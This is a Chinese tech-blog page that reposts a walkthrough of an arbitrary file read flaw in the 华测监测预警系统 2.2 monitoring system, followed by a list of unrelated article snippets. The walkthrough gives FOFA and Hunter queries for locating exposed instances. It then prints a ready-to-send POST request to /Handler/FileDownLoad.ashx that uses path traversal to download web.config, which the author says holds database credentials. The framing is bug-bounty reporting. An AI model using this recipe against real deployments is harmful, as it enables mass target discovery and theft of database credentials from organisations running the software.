当前位置： 首页 > news >正文

华测监测预警系统 2.2---任意文件读取漏洞

news 2026/4/4 22:12:47

目录

1. 资产搜集

2. 漏洞复现

3. 实战总结

1. 资产搜集

直接上fofa 和 hunter
个人推荐hunter可以看到icp备案公司直接提交盒子就行了

FOFA语法 app=”华测监测预警系统2.2”

Hunter语法 web.body=”华测监测预警系统2.2”

图片

2. 漏洞复现

这里手动复现的，目录是/Handler/FileDownLoad.ashx
通过hackerbar 可以修改POST传参，或者利用BP构造请求包。

 

  1.  
    POST /Handler/FileDownLoad.ashx HTTP/1.1
     
  2.  
    Host: ip:port
     
  3.  
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
     
  4.  
    Accept-Encoding: gzip, deflate
     
  5.  
    Accept: */*
     
  6.  
    Connection: close
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    Content-Length: 36
     
  9.  
     
  10.  
    filename=1&filepath=../../web.config
     
 

这里的filename随便传参，只是一个文件名字。
 filepath是文件路径，这里访问后会直接下载文件到本地。
 

 

图片
 

文件里包含了数据库的账号密码
 

3. 实战总结
 

最后直接用hunter找到有备案信息的公司，直接提交 盒子成功！！！
 

图片
 

 

图片
 

                                                            没看够~？欢迎关注扫一扫！
 















相关文章：
















华测监测预警系统 2.2---任意文件读取漏洞




目录 1. 资产搜集 
2. 漏洞复现 
3. 实战总结 1. 资产搜集 
直接上fofa 和 hunter 个人推荐hunter可以看到icp备案公司直接提交盒子就行了 
FOFA语法 app”华测监测预警系统2.2” 
Hunter语法 web.body”华测监测预警系统2.2” 2. 漏洞复现 
这里手动复现的，目录是/…...






编程日记
2023/10/19 18:03:18



















新版多功能去水印工具微信小程序源码下载+带流量主功能




新版多功能去水印工具微信小程序源码下载，带流量主功能。自带去水印接口的多功能小程序，支持各大平台短视频去水印。 支持保存封面、图集、标题等等；支持本地图片去水印；支持图片拼接；支持九宫格切图；支持修…...






编程日记
2023/10/19 18:01:14



















文章必备| 叶绿体基因组高级分析内容汇总




叶绿体普遍存在于植物体中，叶绿体基因组是一个典型的双链环状DNA分子，一个植物当中含有多个叶绿体，一个叶绿体中含有12个cpDNA分子。 
常见的植物叶绿体基因组大小一般在150-160 kb左右，藻类会略小一些，在80-100 kb左右…...






编程日记
2023/10/19 18:00:13



















阿里实习JAVA后端面经总结




暑期实习面试阿里Java后端岗位的一面的面经。 
主要拷打了项目+Java 集合+Java并发+网络+mysql，一场面试大概问了 20 个题目，问的还是比较基础，不算太难。 
问题记录 
简历上有两个项目，选一个你比较熟悉的介绍 
（略） 
项目用到了哪个线程实现类？ 
用了ScheduledThreadP…...






编程日记
2023/10/19 17:59:13



















利用 NLP 超能力：一步步介绍Hugging Face微调教程




导入必要的库 
导入必要的库类似于为特定编程和数据分析活动构建工具包。这些库通常是预先编写的代码集合，提供广泛的功能和工具，有助于加快开发速度。开发人员和数据科学家可以通过导入适当的库来访问新功能、提高生产力并使用现有解决方案。 
import pandas as pd
import n…...






编程日记
2023/10/19 17:58:11



















凝聚技术力量 共建测试生态 ——集成电路测试技术交流日成功举办




10月18日下午，凝聚技术力量，共建测试生态 ——集成电路测试技术交流会在上海成功举办。来自全国各地知名专家学者、技术大咖及企业代表齐聚一堂，共同探讨封装测试技术的发展方向，共话产业未来，共促产业发展。 本次活动…...






编程日记
2023/10/19 17:57:10



















机器学习-ROC曲线：技术解析与实战应用




目录 一、引言ROC曲线简介 二、ROC曲线的历史背景二战雷达信号检测在医学和机器学习中的应用横跨多个领域的普及 三、数学基础True Positive Rate（TPR）与False Positive Rate（FPR）True Positive Rate（TPR）F…...






编程日记
2023/10/19 17:56:09



















macos平台好用的FTP客户端 Transmit 5最新中文




Transmit 5是一款Mac平台上的FTP(文件传输协议)客户端软件，它可以让用户方便地在不同的计算机之间传输文件，例如从本地计算机上传或下载文件到远程服务器。以下是Transmit 5的一些主要功能和特点： 
用户友好的界面：Transmit 5具有…...






编程日记
2023/10/19 17:55:08



















用JavaScript输出0-9的两种方法、以及setTimeout的三个参数的意义




方法一：  
for (let i  0; i < 10; i) {setTimeout(() > {console.log(i);}, 1000)
} 
方法二&#xff1a;利用 setTimeout 函数的第三个参数&#xff0c;会作为回调函数的第一个参数传入 
for (var i  0; i < 10; i) {setTimeout(i > {console.log(i);…...






编程日记
2023/10/19 17:53:07



















酷鸟云近期主要新功能合集




近期&#xff0c;根据用户需求&#xff0c;酷鸟云上线了一系列新功能&#xff0c;让大家在使用过程中&#xff0c;更加灵活和高效。 1、仿真指纹功能优化 
酷鸟云内置的专业防关联浏览器的仿真指纹功能&#xff0c;可以解决注册谷歌账号/谷歌邮箱&#xff08;Gmail&#xff09;…...






编程日记
2023/10/19 17:52:03



















【大数据开发技术】实验06-SequenceFile、元数据操作与MapReduce单词计数




文章目录 SequenceFile、元数据操作与MapReduce单词计数一、实验目标二、实验要求三、实验内容四、实验步骤附&#xff1a;系列文章 SequenceFile、元数据操作与MapReduce单词计数 
一、实验目标 
熟练掌握hadoop操作指令及HDFS命令行接口掌握HDFS SequenceFile读写操作掌握Map…...






编程日记
2023/10/19 17:51:02



















【C语言】输入一个正整数，判断其是否为素数




1、素数又叫质数。素数&#xff0c;指的是“大于1的整数中&#xff0c;只能被1和这个数本身整除的数”。 
2、素数也可以被等价表述成&#xff1a;“在正整数范围内&#xff0c;大于1并且只有1和自身两个约数的数”。 #include<stdio.h>int main() {int i,m;printf("…...






编程日记
2023/10/19 17:50:01



















2023年Q3季度国内手机大盘销额下滑2%，TOP品牌销售数据分析




根据Canalys机构发布的最新报告&#xff0c;2023年第三季度&#xff0c;全球智能手机市场出货量仅下跌1%&#xff0c;可以认为目前全球手机市场的下滑势头有所减缓。而国内线上市场的表现也类似。 根据鲸参谋数据显示&#xff0c;今年Q3京东平台手机累计销量约1100万件&#xf…...






编程日记
2023/10/19 17:49:00



















使用按钮从 SAP 系统内打开 Excel 文件




了解如何通过 SAP 屏幕上创建的按钮打开所需的 Excel 文件。为了演示这一点&#xff0c;将指导您完成以下步骤。 
使用 del 命令删除 SAP 上不必要的元素添加一个按钮&#xff0c;单击后打开弹出窗口创建一个函数来选择 excel 文件创建打开所需 excel 文件的函数 
定制 
登录 S…...






编程日记
2023/10/19 17:47:58



















人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络，技术创新点介绍




大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络&#xff0c;技术创新点介绍&#xff0c;随着人工智能和深度学习技术的飞速发展&#xff0c;文本到视频生成已经成为计算机视觉领域中一个重…...






编程日记
2023/10/19 17:46:57



















C/C++面试常见问题——指针和引用的区别




首先想要理解指针和引用的区别&#xff0c;我们要明确什么是指针&#xff0c;什么是引用 
一&#xff0c;指针和引用的基本概念及特性 
指针是一个特殊变量&#xff0c;其中存储着所指向变量的地址 
指针主要有以下特性&#xff1a; 
1. 在使用时需要*解引用 
2. sizeof(指针)的…...






编程日记
2023/10/19 17:45:56



















探索DeFi世界，MixGPT引领智能金融新时代




随着区块链技术的迅猛发展&#xff0c;DeFi&#xff08;去中心化金融&#xff09;正成为金融领域的新宠。在这个充满活力的领域里&#xff0c;MixTrust站在创新的前沿&#xff0c;推出了一款引领智能金融新时代的核心技术——MixGPT。 MixGPT&#xff1a;引领智能金融体验的大型…...






编程日记
2023/10/19 17:44:55



















留学教育咨询机构如何通过软文强势突围




近年来留学市场逐渐回暖&#xff0c;但是行业竞争也更加激烈&#xff0c;留学教育咨询机构想要在激烈的市场竞争中强势突围&#xff0c;除了优秀的职业素养&#xff0c;专业的服务态度外&#xff0c;还需要具备品牌形象打造和推广的能力&#xff0c;也有不少留学机构找盒子进行…...






编程日记
2023/10/19 17:43:52



















苹果平板可以用别的电容笔吗？电容笔和Apple pencil区别




和苹果原装的Pencil相比&#xff0c;这种平替的电容笔并没具备重力压感&#xff0c;只有一种倾斜的压感功能。如果你不经常用来作画&#xff0c;一支普通的电容笔就足够了。不管是用来记笔记&#xff0c;还是用来解决一些数学问题&#xff0c;都能用得上。再说了&#xff0c;即…...






编程日记
2023/10/19 17:42:51



















【Matlab笔记_16】yyyy-MM-dd HH:mm:ss的datetime格式拆分为yyyy-MM-dd日期部分和HH:mm:ss时间部分




实例&#xff1a;需要拆分的时间为’2002-04-17 11:00:00’ 
1拆分出 ‘2002-04-17’ 
% 假设datetime对象是 dt&#xff0c;例如&#xff1a;
dt  datetime(2002-04-17 11:00:00);% 使用dateshift提取日期部分
dateOnly  dateshift(dt, start, day);% 显示提取的日期部分
disp…...






编程日记
2023/10/19 17:41:50





















OpenClaw语音控制扩展：Gemma-3-12b-it实现自然语言任务触发




OpenClaw语音控制扩展&#xff1a;Gemma-3-12b-it实现自然语言任务触发 
1. 为什么需要语音控制自动化助手 
上周五下班路上&#xff0c;我遇到一个典型场景&#xff1a;开车时收到客户紧急邮件需要立即回复&#xff0c;但双手离不开方向盘。这种场景让我开始思考——能否用语音…...






编程新知
2026/4/4 20:51:31



















漏洞挖掘变现指南：合法渠道\+赏金技巧，新手也能月入过万




很多新手学习漏洞挖掘&#xff0c;不仅是为了提升技术&#xff0c;更是为了实现“技术变现”——通过提交漏洞获取赏金、兼职接单&#xff0c;这也是网络安全领域的核心福利之一。但变现的前提是“合法合规”&#xff0c;本文拆解漏洞挖掘的合法变现渠道、赏金提升技巧、避坑指…...






编程新知
2026/4/4 20:43:20



















yaml-cpp终极内存优化指南：5个提升缓存命中率的实现技巧




yaml-cpp终极内存优化指南&#xff1a;5个提升缓存命中率的实现技巧 【免费下载链接】yaml-cpp A YAML parser and emitter in C   项目地址: https://gitcode.com/gh_mirrors/ya/yaml-cpp     
yaml-cpp是一个高性能的C YAML解析器和发射器&#xff0c;完全遵循YAML 1.2规范。…...






编程新知
2026/4/4 19:32:46



















notepad--性能优化完全指南：从基础调优到源码级优化




notepad--性能优化完全指南&#xff1a;从基础调优到源码级优化 【免费下载链接】notepad-- 一个支持windows/linux/mac的文本编辑器&#xff0c;目标是做中国人自己的编辑器&#xff0c;来自中国。   项目地址: https://gitcode.com/GitHub_Trending/no/notepad--     
notepa…...






编程新知
2026/4/4 19:12:31



















YOLOv8训练Visidron小目标检测数据集YOLO训练结果模型➕数据集可直接使用在读博士，欢迎打扰




YOLOv8训练Visidron小目标检测数据集
YOLO训练结果模型➕数据集
可直接使用
在读博士&#xff0c;欢迎打扰...






编程新知
2026/4/4 18:13:54



















OmenSuperHub：基于WMI BIOS控制的惠普暗影精灵硬件管理终极指南




OmenSuperHub&#xff1a;基于WMI BIOS控制的惠普暗影精灵硬件管理终极指南 【免费下载链接】OmenSuperHub 使用 WMI BIOS控制性能和风扇速度&#xff0c;自动解除DB功耗限制。   项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub     
OmenSuperHub是一款专为惠普暗…...






编程新知
2026/4/4 17:49:49



















让ai成为你的mybatis导师：用快马智能优化sql与解决映射难题




让AI成为你的MyBatis导师&#xff1a;用快马智能优化SQL与解决映射难题 
作为一个长期使用MyBatis的开发者&#xff0c;我深知SQL优化和复杂映射配置的痛点。最近尝试了InsCode(快马)平台的AI辅助功能&#xff0c;发现它确实能成为MyBatis开发的得力助手。下面分享几个典型场景…...






编程新知
2026/4/4 17:47:43



















Dify如何助力企业提升客户体验




Dify 主要通过打造更智能、更快速的客服体系&#xff0c;从根本上提升客户体验。其核心在于利用 AI 应用开发平台的能力&#xff0c;实现服务的即时响应、精准解答和个性化互动。&#x1f916; 724 智能客服&#xff0c;告别等待全天候秒级响应&#xff1a;利用 Dify 的 Workfl…...






编程新知
2026/4/4 16:52:52



















绝版图书购书方案问题（折半枚举 / Meet-in-the-Middle）




绝版图书购书方案问题（折半枚举 / Meet-in-the-Middle）  📚 绝版图书购书方案问题（折半枚举 / Meet-in-the-Middle） 一、题目描述 输入 输出 样例输入 样例输出 提示 二、题目解读 2.1 什么是"购书方案"？ 2.2 样例解释 三、算法选择分析 3.1 为什么不能直接用…...






编程新知
2026/4/4 15:55:48



















鸣潮帧率解锁：用WaveTools轻松突破60FPS限制的终极指南




鸣潮帧率解锁&#xff1a;用WaveTools轻松突破60FPS限制的终极指南 【免费下载链接】WaveTools &#x1f9f0;鸣潮工具箱   项目地址: https://gitcode.com/gh_mirrors/wa/WaveTools     
还在为鸣潮被锁定在60FPS而烦恼吗&#xff1f;明明拥有高性能硬件&#xff0c;却只能在低…...






编程新知
2026/4/4 15:45:40